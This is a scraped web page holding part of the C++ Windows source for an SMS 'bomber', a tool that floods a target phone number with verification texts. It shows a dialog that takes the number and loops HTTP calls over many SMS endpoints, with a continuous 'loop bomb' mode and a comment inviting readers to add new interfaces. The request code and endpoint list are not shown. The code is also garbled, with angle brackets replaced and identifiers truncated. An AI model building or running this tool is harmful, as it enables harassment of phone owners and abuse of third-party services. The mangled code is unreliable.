SendMessage(ghEdtCounterCtrl,WM_SETTEXT,0,(LPARAM)gchACounterSize);
delete[] lpBufferA;
delete[] lpHeadersW;
delete[] lpHeadersA;
delete[] lpBufferW;
delete pLV;
ClearResourceHandle(hOpen,hConnect,hRequest);
return TRUE;
//main.cpp
#include &FuctionComm.h&
#include &resource.h&
#include &string.h&
#include &WinUser.h&
static HINSTANCE g_
INT_PTR nRet=NULL;
static HWND ghD
static HWND ghLvDataC
static HWND ghEdtPhoneC
static HWND ghEdtCounterC
static HWND ghBtnSendC
static HWND ghProcessBarC
static HMENU ghLvM
TCHAR gtchPhoneNum[MAX_PATH];
PLv_ITEM gplvD
BOOL gbLoopBomb=FALSE;
HANDLE ghThreadHandle=NULL;
void AddPopUpMenus(HMENU &hLvMenu)
hLvMenu = CreatePopupMenu();
AppendMenu(hLvMenu, MF_SEPARATOR, 0, NULL);
AppendMenu(hLvMenu, MF_STRING, IDM_OPEN, _T(&OPEN&));
AppendMenu(hLvMenu, MF_SEPARATOR, 0, NULL);
AppendMenu(hLvMenu, MF_STRING, IDM_DEL, _T(&DELETE&));
BOOL ShowPopupMenu(HMENU hMenu, HWND hWnd)
GetCursorPos(&pt);
return TrackPopupMenu(hMenu, TPM_HORIZONTAL, pt.x, pt.y, 0, hWnd, NULL);
void InitiateAllCtrls(HWND hWnd)
ghLvDataCtrl=GetDlgItem(hWnd,IDC_LIST_VIEW);
ghEdtPhoneCtrl=GetDlgItem(hWnd,IDC_EDIT_PHONE);
ghBtnSendCtrl=GetDlgItem(hWnd,IDC_BTN_SEND);
ghEdtCounterCtrl=GetDlgItem(hWnd,IDC_EDIT_COUNTER);
ghProcessBarCtrl=GetDlgItem(hWnd,IDC_PROGRESS_STATUS);
SendMessage(ghProcessBarCtrl,PBM_SETRANGE32,0,BOMBSNUM);
SetWindowText(ghEdtPhoneCtrl,_TXT(&138123*****&));
SetWindowText(ghEdtCounterCtrl,_TXT(&&));
DWORD dwLen=GetWindowTextLength(ghEdtPhoneCtrl);//name
GetWindowText(ghEdtPhoneCtrl,gtchPhoneNum,dwLen+1);
ListView_SetColorInfo(ghLvDataCtrl);
ListView_SetExtendedListViewStyle(ghLvDataCtrl,LVS_EX_GRIDLINES|LVS_EX_FULLROWSELECT);
ListView_Initial(ghLvDataCtrl);
DWORD WINAPI CallBackLoopThreadProc (LPVOID lp)
while (gbLoopBomb)
for (int iSubStrIndex=0;iSubStrIndex&BOMBSNUM;iSubStrIndex++)
CallBackHttpThreadProc(iSubStrIndex,gtchPhoneNum);
SendMessage(ghProcessBarCtrl,PBM_SETPOS,(WPARAM)iSubStrIndex,0);
Sleep(10);
BOOL CALLBACK DlgProcessFunc
HWND hDlg,
UINT message,
WPARAM wParam,
LPARAM lParam
DWORD dwCtrlID;
switch(message)
PAINTSTRUCT
hDC = BeginPaint(hDlg, &ps);
GetClientRect(hDlg,&rec);
HBRUSH hBackBrush=CreateSolidBrush(CLRDLGBACK);
FillRect(hDC,&rec,hBackBrush);
SetClassLongA(hDlg,GCL_HBRBACKGROUND,(long)hBackBrush);
DeleteObject(hBackBrush);
EndPaint(hDlg, &ps);
WM_INITDIALOG:
SetDlgPosition(hDlg);
AddPopUpMenus(ghLvMenu);
InitiateAllCtrls(hDlg);
WM_COMMAND:
dwCtrlID=(DWORD)(wParam);
switch(dwCtrlID)
IDC_BTN_SEND:
dwLen=GetWindowTextLength(ghEdtPhoneCtrl);//
GetWindowText(ghEdtPhoneCtrl,gtchPhoneNum,dwLen+1);
DWORD dwID=0;
ghThreadHandle=CreateThread(NULL,0,CallBackLoopThreadProc,(LPVOID)0,0,&dwID);
case IDM_OPEN:
ListView_OpenSavedFile(ghLvDataCtrl);
case IDM_DEL:
ListView_DeleteSavedFile(ghLvDataCtrl);
IDC_CHECK_CONTINUE:
gbLoopBomb=!gbLoopB
if (gbLoopBomb)
MessageBox(hDlg,&Loop OK&,&tips&,MB_OK);
MessageBox(hDlg,&Un LOOP&,&tips&,MB_OK);
case WM_NOTIFY:
pnmh = (LPNMHDR)lP
switch(pnmh-&idFrom)
case IDC_LIST_VIEW:
switch(pnmh-&code)
case NM_RCLICK:
ShowPopupMenu(ghLvMenu, hDlg);
case NM_DBLCLK:
ListView_OpenSavedFile(ghLvDataCtrl);
EndDialog(hDlg,lParam);
return FALSE;
int APIENTRY WinMain
(__in HINSTANCE hInstance,
__in_opt HINSTANCE hPrevInstance,
__in LPSTR lpCmdLine,
__in int nShowCmd)
g_hinst=hI
InitCommonControls();
nRet=DialogBox
(hInstance,
MAKEINTRESOURCE(IDD_DLG_PROC),
(DLGPROC)DlgProcessFunc
//部分接口或许不能使用。自己可手动添加新的接口。
已发表评论数()
已收藏到推刊!
请填写推刊名
描述不能大于100个字符!
权限设置: 公开
仅自己可见
正文不准确
排版有问题
没有分页内容
视频无法显示
图片无法显示

我要回帖

更多关于 易语言短信轰炸机接口 的文章

 

随机推荐